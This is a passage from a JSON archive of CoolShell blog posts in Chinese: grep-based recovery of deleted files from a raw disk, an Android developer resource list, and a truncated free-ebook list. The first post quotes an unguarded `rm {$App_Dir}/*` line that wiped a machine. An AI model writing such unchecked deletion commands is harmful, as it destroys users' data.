    "content": "<html><body><p>在Unix/Linux下，最危险的命令恐怕就属rm命令了，每次在root下使用这个命令的时候，我都要盯着命令行看上几分钟才敢把回车敲下去。以前，看到同事在脚本中使用rm命令 —— <code>rm {$App_Dir}/*</code> 。因为脚本没有判断变量$App_Dir是否为空，结果，在一次用root操作的时候，整个操作系统一下就不见了，还好只是开发机。从此，我们大家都再也不敢使用rm命令了。</p>\n<p>这里给大家介绍一个小技巧用来恢复一些被rm了的文件中的数据。我们知道，rm命令其实并不是真正的从物理上删除文件内容，只过不把文件的inode回收了，其实文件内容还在硬盘上。所以，如果你不小删除了什么比较重要的程序配置文件的时候，我们完全可以用grep命令在恢复，下面是一个恢复示例：</p>\n<p><code class=\"EnlighterJSRAW\">grep -a -B 50 -A 60 'some string in the file' /dev/sda1 &gt; results.txt</code></p>\n<p>说明：</p>\n<ul>\n<li>关于grep的-a意为–binary-files=text，也就是把二进制文件当作文本文件。</li>\n<li>-B和-A的选项就是这段字符串之前几行和之后几行。</li>\n<li>/dev/sda1，就是硬盘设备，</li>\n<li>&gt; results.txt，就是把结果重定向到results.txt文件中。</li>\n</ul>\n<p>如果你幸运的话，你就可以看到被恢复的内容了。这正是Unix的简单哲学（详见《<a href=\"https://coolshell.cn/articles/2324.html\" target=\"_blank\">Unix传奇下篇</a>》）——<strong> 所有的设备都是文件</strong>。</p>\n<p>当然，我还是建议你把root用户的rm的命令用alias换成别一个脚本，那个脚本会帮你把删除的文件放到某个地方。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12103.html\"><img alt=\"vfork 挂掉的一个问题\" height=\"150\" src=\"../wp-content/uploads/2014/11/tux-fork-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12103.html\">vfork 挂掉的一个问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9104.html\"><img alt=\"sed 简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/02/sed-superman-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9104.html\">sed 简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9070.html\"><img alt=\"AWK 简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/02/awk-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9070.html\">AWK 简明教程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2822.html\">使用grep恢复被删文件内容</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-8-26 实用Android开发工具和资源精选.html",
    "content": "<html><body><p><strong>出处</strong>：<a href=\"http://speckyboy.com/2010/08/04/a-useful-selection-of-android-developer-tools-and-resources/\">A Useful Selection of Android Developer Tools and Resources</a></p>\n<p>在google、开源平台，和来自移动电话制造商HTC,Samsung和Sony Ericsson的支持下，Android平台在市场占有率上相比去年取得的886%增长！如果我只看增长率，IPhone据统计才有61%的增长。这些数据可以给你关于两个平台流行度的印像，但是事实上，这些数据告诉了智能机开发员的谁才是真正的赢家。在时下，智能机越来越流行，因此成为一个快速增长的Android平台的智能机开发人员将会是一个不错的选择。</p>\n<p>相比较其他的平台，Android不依赖于任何约束第三方应用程序的私有的操作系统（题外话：美国最近<a href=\"http://www.bbc.co.uk/news/technology-10836692\">宣布</a>对于IPhone的破解和越狱是合法行为），Android本身就是开源的。由于开源，Android有巨大的开发社区支持。各种个样的例子和教程，GUI素材，和开发工具下载。几乎所有的都是免费提供的。我们选出接近20个可以免费或开源的，工具，资源，开发指南。希望这些资源能给你的Android应用带来帮助。<br/>\n<strong> 相关文章参看:</strong></p>\n<ul>\n<li><a href=\"http://speckyboy.com/2010/05/10/android-app-developers-gui-kits-icons-fonts-and-tools/\">Android App Developers GUI Kits, Icons, Fonts and Tools →</a></li>\n<li><a href=\"http://speckyboy.com/2010/04/30/iphone-and-ipad-development-gui-kits-stencils-and-icons/\">iPhone and iPad Development GUI Kits, Stencils and Icons →</a></li>\n<li><a href=\"http://speckyboy.com/2010/04/12/mobile-web-and-app-development-testing-and-emulation-tools/\">Mobile Web and App Development Testing and Emulation Tools →</a></li>\n<li><a href=\"http://speckyboy.com/2010/03/08/14-free-mobile-app-development-icon-sets/\">14 Free Mobile Application Development Icon Sets →</a></li>\n</ul>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/08/android_dev_01.jpg\" title=\"android_dev_01\"/></p>\n<p><span id=\"more-2853\"></span></p>\n<h3><a href=\"http://andbook.anddev.org/\">免费的Android开发人员电子书:andbook</a></h3>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/08/android_dev_02.jpg\" title=\"android_dev_01\"/></p>\n<p>如果你刚步入Android的开发，那么对于第一次开发Android应用程序的你来说，这本书是非常适合的。这本只有62页的PDF电子书里，有简单易懂的入门教程，帮助你在没有任何Android开发知识的背景下，教你开发Android应用程序。<br/>\n<a href=\"http://andbook.anddev.org/\">Free Android Developer Ebook: andbook! →</a></p>\n<h3><a href=\"http://kronox.org/documentacion/Professional_Android_Application_Development.pdf\">免费的Android开发人员电子书:专业Android应用程序开发</a></h3>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/08/android_dev_03.jpg\" title=\"android_dev_01\"/></p>\n<p>专业Android应用程序开发PDF电子书，是一本创建移动手机应用程序的上手指南，这本书特点简洁，还有着能帮助你快速构建真实Android移动电话应用程序的典型的例子。本书覆盖了Android手机所有本质特性，并同时展示了Android手机的高级特性。<br/>\n<a href=\"http://kronox.org/documentacion/Professional_Android_Application_Development.pdf\">Free Android Developer Ebook: Professional Android Application Development →</a></p>\n<h3>免费和开源的应用程序</h3>\n<ul>\n<li><a href=\"http://code.google.com/p/apps-for-android/\">apps-for-android (Open Source Applications) →<br/>\n</a>这个链接中包含了许多实用的开源的Android应用程序。这些应用程序展示了Android的许多特性。</li>\n</ul>\n<ul>\n<li><a href=\"http://developer.android.com/resources/samples/index.html\">List of Sample Android Apps →</a>（<strong>译者注：</strong>我勒个擦！墙掉了，中国Android开发人员杯具了，看来官方不给力啊，这次元还真是不毛之地啊）<br/>\n这个Web页面是一个Android开发包中的实例程序列表。使用这个页面上的链接，你可以通过你的浏览器来阅读这些例子程序的源代码。你也可以把这些实例程序下载下来，当你需要的时候，你可以修改并使用他们。</li>\n</ul>\n<ul>\n<li><a href=\"http://code.google.com/p/android-cookbook/\">Android Cookbook (Examples in Cookbook Form) →<br/>\n</a>这个站点有很多实用的Android示例程序，你完全可以重用这些例子。</li>\n</ul>\n<ul>\n<li><a href=\"http://www.openintents.org/en/\">OpenIntents →<br/>\n</a>OpenIntends 设计和实现了开放式 intents和接口，其使得Android移动应用程序能更紧密的结合在一起。同时OpenIntends免费的提供了更专业和复杂的实例应用程序来演示他们的用法。</li>\n</ul>\n<ul>\n<li><a href=\"http://www.androidsnippets.org/\">Android Snippets (Share Useful Snippets of Source Code) →<br/>\n</a>Android Snippets 是一个Android的实用代码段库，这个库是用来分享实用和优秀的Android应用程序代码；如果没有特别的需求，我们可以大量的重用这些代码库。</li>\n</ul>\n<h3><a href=\"http://www.addictivetips.com/windows-tips/download-google-android-emulator/\">Windows上的Android</a></h3>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/08/android_dev_10.jpg\" title=\"android_dev_01\"/></p>\n<p>对于那些想测试驱动Android的开发者，可以使用这个Android模拟器，这个模拟器以单独的应用程序的形式独立运行在Windows PC之上，使用这个模拟器不用下载和完全安装复杂的Android开发包。你甚至可以在这个模拟器上安装和测试Android系统兼容的应用程序。<br/>\n<a href=\"http://developer.android.com/guide/developing/tools/emulator.html\">Android Emulator on Windows →</a></p>\n<h3><a href=\"http://developer.android.com/guide/developing/tools/emulator.html\">来自应用程序开发入门的Android模拟器</a></h3>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/08/android_dev_11.jpg\" title=\"android_dev_01\"/></p>\n<p>Android的开发包中包含了一个移动设备模拟器。这个模拟器模仿了典型移动设备的硬件和软件特性(当然，不包含打电话)。这个模拟器提供各种个样的导航和控制按键，可以使用你的鼠标和键盘来“按”下这些按键为你的应用程序生成事件。这个模拟器也提供一个屏幕为你显示应用程序。同时，SDK中提供了很多能在模拟器上运行的应用程序。<br/>\n<a href=\"http://developer.android.com/guide/developing/tools/emulator.html\">Android Emulator from The Developer’s Guide →</a></p>\n<h3><a href=\"http://www.openintents.org/en/node/23\">感应模拟器</a></h3>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/08/android_dev_12.jpg\" title=\"android_dev_01\"/></p>\n<p>感应模拟器是一个JAVA独立应用程序，感应模拟器模拟感应数据并把数据传给Android模拟器。这个感应模拟器可以让你模拟加速度仪器，指南针，和方向感应，这些数据可以用于Android应用程序，并通过感应器进行控制。<br/>\n<a href=\"http://www.openintents.org/en/node/23\">SensorSimulator →</a></p>\n<h3><a href=\"http://github.com/commonsguy/droidex\">DroidEx:大（巨）屏上的Android项目</a></h3>\n<p>DroidEx 可以让你附加的Android设备的显示屏内容复制一份到你的开发机屏幕。使用DroidEx来做演示是非常有用的。因为你可以把你的Android设备连接到你的笔记本电脑上或投影仪上，你的客户就可以通过这些设备来看你Android设备上的内容。DroidEx还可以用来演示那些用模拟器不方便演示的内容，比如说GPS或加速度仪器等内容。<br/>\n<a href=\"http://github.com/commonsguy/droidex\">DroidEx: Projecting Android on the Big(ger) Screen →</a></p>\n<h3><a href=\"http://appinventor.googlelabs.com/about/\">Android的App Inventor</a></h3>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/08/android_dev_13.jpg\" title=\"android_dev_01\"/><br/>\nAndroid 的App Inventor是来自Google为非开发人员准备的新工具，通过这个工具，非开发人员可以非常容易地在里面创建应用程序。可以通过网站的视屏来预览这个工具的功能特性。(你可以参看酷壳的<a href=\"https://coolshell.cn/articles/2608.html\" target=\"_blank\">这篇文章</a>)</p>\n<p>(<strong>译者注：</strong>这里还有一个youtube视屏，可惜也墙掉了）<br/>\n<a href=\"http://developer.android.com/guide/appendix/faq/commontasks.html\"></a></p>\n<h3><a href=\"http://developer.android.com/guide/appendix/faq/commontasks.html\">如何开发Android中的常用任务</a></h3>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/08/android_dev_04.jpg\" title=\"android_dev_01\"/></p>\n<p>这是一个关于Android开发可能遇到的常用任务列表集合，并提供了一个快速、 how-to方式的帮助，来帮助你完成这些任务。</p>\n<p><a href=\"http://developer.android.com/guide/appendix/faq/commontasks.html\">Common Tasks and How to Do Them in Android→</a></p>\n<h3><a href=\"http://andblogs.net/fastboot/\">快速启动小抄</a></h3>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/08/android_dev_14.jpg\" title=\"android_dev_01\"/></p>\n<p>快速启动小抄是一个非常实用和快速的列表，这个列表中罗列一些关于快速启动的相关任务。<br/>\n<a href=\"http://andblogs.net/fastboot/\">Fastboot Cheat Sheet →</a></p>\n<h3><a href=\"http://developer.android.com/guide/practices/ui_guidelines/index.html\">UI指导原则</a></h3>\n<p>在这里你可以找一些到官方文章的连接，这些连接来自于“The Developer’s Guide”。这些文章的内容描述了关于Android可视交互应用程序的UI设计开发的指导原则。</p>\n<ul>\n<li><a href=\"http://developer.android.com/guide/practices/ui_guidelines/icon_design.html\">Icon Design Guidelines →</a></li>\n<li>图标指导原则描述每类图标的细节，并做关于尺寸，颜色，阴影其他的细节的规范，根据这些规范你的设计的图标可以适用于Android系统。你也可以下载Android图标模板包，这个包里面是一些Photoshop和Illustrator模板和滤镜文件，通过这个模板包你可以更简单的创建满足规范的图标。</li>\n<li><a href=\"http://developer.android.com/guide/practices/ui_guidelines/icon_design.html#templatespack\">Download the Android Icon Templates Pack</a></li>\n<li>控件设计指导描述了如何设计适合其他主页屏的控件。这个连接会连接到一些图形文件和模板，通过这些模板和文件可以使你设计更简单。</li>\n<li><a href=\"http://developer.android.com/guide/practices/ui_guidelines/widget_design.html\">Widget Design Guidelines →</a></li>\n<li>Activity和Task设计指导描述了活动的工作方式，并用图解示例演示了Activity，并描述了其重要的底层机制和原理，如多任务系统，Activity重用，intents，Activity栈，和Task。以设计层面的角度覆盖了活动的所有内容。</li>\n<li><a href=\"http://developer.android.com/guide/practices/ui_guidelines/activity_task_design.html\">Activity and Task Design Guidelines →</a></li>\n<li>菜单设计指导描述了上下文菜单和选项菜单的不同。如何放置菜单项，何时放置屏幕命令，和其他的一些菜单细节。</li>\n<li><a href=\"http://developer.android.com/guide/practices/ui_guidelines/widget_design.html\">Menu Design Guidelines →</a></li>\n</ul>\n<p><strong><a href=\"http://mobiforge.com/designing/story/understanding-user-interface-android-part-1-layouts\">理解Android中的用户接口 来自于</a><a href=\"http://mobiforge.com/\">mobiforge.com</a></strong></p>\n<p>这4部分的文档来自于<a href=\"http://mobiforge.com/\">mobiforge.com</a>,文档中包含了组成Android UI的各种要素。文档的第一部分讨论Android中各种各样的有效的的布局。</p>\n<ol>\n<li>\n<ol>\n<li><a href=\"http://mobiforge.com/designing/story/understanding-user-interface-android-part-1-layouts\">Understanding User Interface in Android – Part 1 →</a></li>\n<li><a href=\"http://mobiforge.com/designing/story/understanding-user-interface-android-part-2-views\">Understanding User Interface in Android – Part 2 →</a></li>\n<li><a href=\"http://mobiforge.com/designing/story/understanding-user-interface-android-part-3-more-views\">Understanding User Interface in Android – Part 3 →</a></li>\n<li><a href=\"http://mobiforge.com/designing/story/understanding-user-interface-android-part-4-even-more-views\">Understanding User Interface in Android – Part 4 →</a></li>\n</ol>\n</li>\n</ol>\n<h3><a href=\"http://www.androidpatterns.com/\">Android UI模式</a></h3>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/08/android_dev_16.jpg\" title=\"android_dev_01\"/></p>\n<p><a href=\"http://www.androidpatterns.com/\">Android UI Patterns →</a></p>\n<h3><a href=\"http://www.droiddraw.org/\" target=\"_blank\">DroidDraw:Android用户接口图形编辑器</a></h3>\n<p style=\"text-align: left;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/08/android_dev_19.jpg\"><img alt=\"\" class=\"size-full wp-image-2868 alignnone\" height=\"223\" src=\"../wp-content/uploads/2010/08/android_dev_19.jpg\" title=\"android_dev_19\" width=\"300\"/></a></p>\n<p>DroidDraw是一个为Android创建图形用户界面的UI设计器。它是一个独立的可执行程序，可以运行在Mac OS X，Windows和Linux上。</p>\n<p><a href=\"http://www.droiddraw.org/\">DroidDraw : Graphical User Interface Editor for Android →</a></p>\n<h3><a href=\"http://www.smashingmagazine.com/2009/08/18/android-gui-psd-vector-kit/\">Android GUI PSD 向量包</a></h3>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/08/android_dev_20.jpg\" title=\"android_dev_01\"/></p>\n<p>Android GUI Starter Kit包里面包含了多个按钮元素和不同接口选项的AndroidGUI内容。这些元素是基于Android1.5 GUI的，并且这些包里面的被提供给开源社区的Android应用程序模型。大部分的GUI元素和手机图例都是使用向量路径制成，所以他们非常地容易被缩放。对于文本AndroidSans包被使用。<br/>\n<a href=\"http://www.smashingmagazine.com/2009/08/18/android-gui-psd-vector-kit/\">Android GUI PSD Vector Kit →</a></p>\n<h3><a href=\"http://unitid.nl/2009/11/fireworks-template-for-android/\">Android的Firworks Template</a></h3>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/08/android_dev_22.jpg\" title=\"android_dev_01\"/></p>\n<p>在Fireworks模板中，Android的各种元素被以向量图形的方式被重绘。在目录中，这些元素的名称大多根据Android词汇表被命名。<br/>\n<a href=\"http://unitid.nl/2009/11/fireworks-template-for-android/\">Fireworks Template for Android →</a></p>\n<h3><a href=\"http://www.tomhume.org/2010/01/android-wireframe-templates.html\">Android线框模板 </a></h3>\n<p>线框PDF是信纸大小（8.5英寸 * 11英寸）并且各部件都被拉伸。因此你可以非常容易的以纸张原型或拉伸为真实尺寸的方式来使用。如果你没有信纸，你可以用A4纸来打印。<br/>\n<a href=\"http://www.tomhume.org/2010/01/android-wireframe-templates.html\">Android Wireframe Templates →</a><br/>\n你也可以参考：</p>\n<ul>\n<li><a href=\"http://speckyboy.com/2010/05/10/android-app-developers-gui-kits-icons-fonts-and-tools/\">Android App Developers GUI Kits, Icons, Fonts and Tools →</a></li>\n<li><a href=\"http://speckyboy.com/2010/04/30/iphone-and-ipad-development-gui-kits-stencils-and-icons/\">iPhone and iPad Development GUI Kits, Stencils and Icons →</a></li>\n<li><a href=\"http://speckyboy.com/2010/04/12/mobile-web-and-app-development-testing-and-emulation-tools/\">Mobile Web and App Development Testing and Emulation Tools →</a></li>\n<li><a href=\"http://speckyboy.com/2010/03/08/14-free-mobile-app-development-icon-sets/\">14 Free Mobile Application Development Icon Sets →</a></li>\n<li><a href=\"http://speckyboy.com/2009/09/15/45-cool-google-android-apps-the-perfect-iphone-replacement/\">45+ Cool Google Android Apps – The Perfect iPhone Replacement →</a></li>\n</ul>\n<p><strong>（全文完）</strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4220.html\"><img alt=\"一些有意思的文章和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4220.html\">一些有意思的文章和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2608.html\"><img alt=\"Google App Inventor \" height=\"150\" src=\"../wp-content/uploads/2010/07/androidappinventor-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2608.html\">Google App Inventor </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17066.html\"><img alt=\"关于移动端的钓鱼式攻击\" height=\"150\" src=\"../wp-content/uploads/2015/04/phishing-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17066.html\">关于移动端的钓鱼式攻击</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12225.html\"><img alt=\"DHH 谈混合移动应用开发\" height=\"150\" src=\"../wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12225.html\">DHH 谈混合移动应用开发</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4710.html\"><img alt=\"Python 和 PyGame 的一些示例\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4710.html\">Python 和 PyGame 的一些示例</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2853.html\">实用Android开发工具和资源精选</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-8-4 免费电子书列表.html",
    "content": "<html><body><p>在StackOverflow上，有人要打算收集个免费电子书的列表，结果很快就有人分享了一个列表。很不错，我就转过来了。原帖的地址在<a href=\"http://stackoverflow.com/questions/194812/list-of-freely-available-programming-books\">http://stackoverflow.com/questions/194812/list-of-freely-available-programming-books</a> （注意：有些连接可能会被墙掉）</p>\n<p>List of Free Programming books (compiled):  <strong>Meta-List</strong></p>\n<ul>\n<li><a href=\"http://www.htdp.org/2003-09-26/Book/\" rel=\"nofollow\">How to Design Programs: An Introduction to Computing and Programming</a></li>\n<li><a href=\"http://www.coderholic.com/25-free-computer-science-books/\" rel=\"nofollow\">25 Free Computer Science Ebooks</a></li>\n<li><a href=\"http://www.freetechbooks.com/\" rel=\"nofollow\">Free Tech Books</a></li>\n<li><a href=\"http://www.mindviewinc.com/Books/\" rel=\"nofollow\">MindView Inc</a> (List of Free Books)</li>\n<li><a href=\"http://en.wikibooks.org/wiki/Category%3aProgramming\" rel=\"nofollow\">Wikibooks: Programming</a></li>\n<li><a href=\"http://en.wikibooks.org/wiki/Category%3aProgramming\" rel=\"nofollow\"></a><a href=\"http://refcardz.dzone.com/\" rel=\"nofollow\">Cheat Sheets (Free)</a></li>\n<li><a href=\"http://blogs.msdn.com/wriju/archive/2009/01/07/free-ebooks-at-codeplex.aspx\" rel=\"nofollow\">CodePlex List of Free E-Books</a></li>\n<li><a href=\"http://www.booktraining.net/\" rel=\"nofollow\">Book Training – On Video!</a></li>\n<li><a href=\"http://www.spmn.com/products_guidebooks.html\" rel=\"nofollow\">Sofware Program Managers Network – Free EBooks</a></li>\n<li><a href=\"http://www.linbai.info/\" rel=\"nofollow\">EBook Share @ linbai.info</a></li>\n<li><a href=\"http://www.freebooksclub.net/\" rel=\"nofollow\">FreeBooksClub.Net</a></li>\n<li><a href=\"http://theassayer.org/\" rel=\"nofollow\">Theassayer.org</a> (Free Online books)</li>\n<li><a href=\"http://oreilly.com/openbook/\" rel=\"nofollow\">O’Reilly’s Open Books Project</a></li>\n<li><a href=\"http://www.techbooksforfree.com/\" rel=\"nofollow\">TechBooksForFree.com</a></li>\n<li><a href=\"http://www.galileocomputing.de/katalog/openbook\" rel=\"nofollow\">Galileo Computing</a> (Free Downloadable German Books)</li>\n</ul>\n<p><span id=\"more-2775\"></span><strong>Graphics Programming</strong></p>\n<ul>\n<li>Nvidia <a href=\"http://http.developer.nvidia.com/GPUGems/gpugems_part01.html\" rel=\"nofollow\">GPU Gems 1</a></li>\n<li>Nvidia <a href=\"http://http.developer.nvidia.com/GPUGems2/gpugems2_part01.html\" rel=\"nofollow\">GPU Gems 2</a></li>\n<li>Nvidia <a href=\"http://http.developer.nvidia.com/GPUGems3/gpugems3_part01.html\" rel=\"nofollow\">GPU Gems 3</a></li>\n<li><a href=\"http://www.gamedev.net/reference/articles/article1698.asp\" rel=\"nofollow\">Graphics Programming Black Book</a></li>\n</ul>\n<p><strong>Language Agnostic</strong></p>\n<ul>\n<li><a href=\"http://codebetter.com/files/folders/codebetter_downloads/entry179694.aspx\" rel=\"nofollow\">Foundations of Programming</a> by Karl Seguin</li>\n<li><a href=\"http://scpd.stanford.edu/knuth/index.jsp\" rel=\"nofollow\">Computer Musings</a> (Lectures by Donald Knuth)</li>\n<li><a href=\"http://www.catb.org/esr/writings/cathedral-bazaar/\" rel=\"nofollow\">The Cathedral and the Bazaar</a> (Introduction to Open Source Software)</li>\n<li><a href=\"http://www.codeplex.com/AppArchGuide\" rel=\"nofollow\">Patterns and Practices: Application Architecture Guide 2.0</a></li>\n<li><a href=\"http://www.cl.cam.ac.uk/~rja14/book.html\" rel=\"nofollow\">Security Engineering</a></li>\n<li><a href=\"http://www.dspguide.com/\" rel=\"nofollow\">Digital Signal Processing For Engineers and Scientists</a></li>\n<li><a href=\"http://gettingreal.37signals.com/\" rel=\"nofollow\">Getting Real</a> (Courtesy <a href=\"http://37signals.com/\" rel=\"nofollow\">37 Signals</a>)</li>\n<li><a href=\"http://mitpress.mit.edu/sicp/\" rel=\"nofollow\">Structure and Interpretation of Computer Programs</a></li>\n<li><a href=\"http://www.infoq.com/minibooks/domain-driven-design-quickly\" rel=\"nofollow\">Domain Driven Design Quickly</a></li>\n<li><a href=\"http://homepage.mac.com/s_lott/books/oodesign.html\" rel=\"nofollow\">OO Design</a></li>\n<li><a href=\"http://smartbear.com/codecollab-code-review-book.php\" rel=\"nofollow\">Best Kept Secrets of Peer Code Review</a></li>\n<li><a href=\"http://www.scribd.com/doc/7181362/NASA-Software-Measurement-Guidebook\" rel=\"nofollow\">NASA Software Measurement Handbook</a></li>\n<li><a href=\"http://homepages.inf.ed.ac.uk/dts/pm/Papers/nasa-manage.pdf\" rel=\"nofollow\">NASA Manager Handbook for Software Development</a></li>\n<li><a href=\"http://www.cl.cam.ac.uk/teaching/Lectures/funprog-jrh-1996/\" rel=\"nofollow\">Introduction to Functional Programming</a> – Class Lectures and Slides</li>\n<li><a href=\"http://www.htdp.org/\" rel=\"nofollow\">How to Design Programs</a> – MIT Press</li>\n<li><a href=\"http://www.swebok.org/stoneman/trial_1_00.html\" rel=\"nofollow\">Guide to the Software Engineering Body of Knowledge</a> – IEEE Computer Society Press</li>\n<li><a href=\"http://ocw.mit.edu/OcwWeb/web/home/home/index.htm\" rel=\"nofollow\">Online Course Materials</a> – MIT</li>\n<li><a href=\"http://www.cs.berkeley.edu/~vazirani/algorithms.html\" rel=\"nofollow\">Algorithms</a> (Draft Copy)</li>\n<li><a href=\"http://dotnetslackers.com/projects/Data-Structures-And-Algorithms/\" rel=\"nofollow\">Data Structures and Algorithms</a></li>\n<li><a href=\"http://www.agileskills.org/download.html.en\" rel=\"nofollow\">Essential Skills for Agile Development</a></li>\n<li><a href=\"http://www.cs.brown.edu/~sk/Publications/Books/ProgLangs/\" rel=\"nofollow\">Programming Languages: Application and Interpretation</a></li>\n<li><a href=\"http://pine.fm/LearnToProgram/\" rel=\"nofollow\">Learn to Program</a></li>\n<li><a href=\"http://www.dreamsongs.com/Files/PatternsOfSoftware.pdf\" rel=\"nofollow\">Patterns of Software: Tales from the Software Community</a></li>\n<li><a href=\"http://freeworld.thc.org/root/phun/unmaintain.html\" rel=\"nofollow\">How to write Unmaintainable Code</a></li>\n<li><a href=\"http://catb.org/esr/writings/taoup/html/\" rel=\"nofollow\">The Art of Unix Programming</a></li>\n<li><a href=\"http://nexus.realtimepublishers.com/dgbcq.php\" rel=\"nofollow\">The Definitive Guide to Building Code Quality</a></li>\n<li><a href=\"http://openbookproject.net/thinkcs/cpp.php\" rel=\"nofollow\">How to Think Like a Computer Scientist</a></li>\n<li><a href=\"http://planning.cs.uiuc.edu/\" rel=\"nofollow\">Planning Algorithms</a></li>\n<li><a href=\"http://greenteapress.com/semaphores/\" rel=\"nofollow\">The Little Book of Semaphores</a></li>\n<li><a href=\"http://www.ii.uib.no/~michal/und/i227/book/book.pdf\" rel=\"nofollow\">Mathematical Logic – an Introduction</a></li>\n<li><a href=\"http://www.cse.ohio-state.edu/~gurari/theory-bk/theory-bk.html\" rel=\"nofollow\">An Introduction to the Theory of Computation</a></li>\n<li><a href=\"http://devshaped.com/book\" rel=\"nofollow\">Developers Developers Developers Developers</a></li>\n<li><a href=\"http://www.iecc.com/linker/\" rel=\"nofollow\">Linkers and loaders</a></li>\n<li><a href=\"http://beej.us/guide/bgnet/\" rel=\"nofollow\">Beej’s Guide to Network Programming</a></li>\n<li><a href=\"http://www.infoq.com/minibooks/domain-driven-design-quickly\" 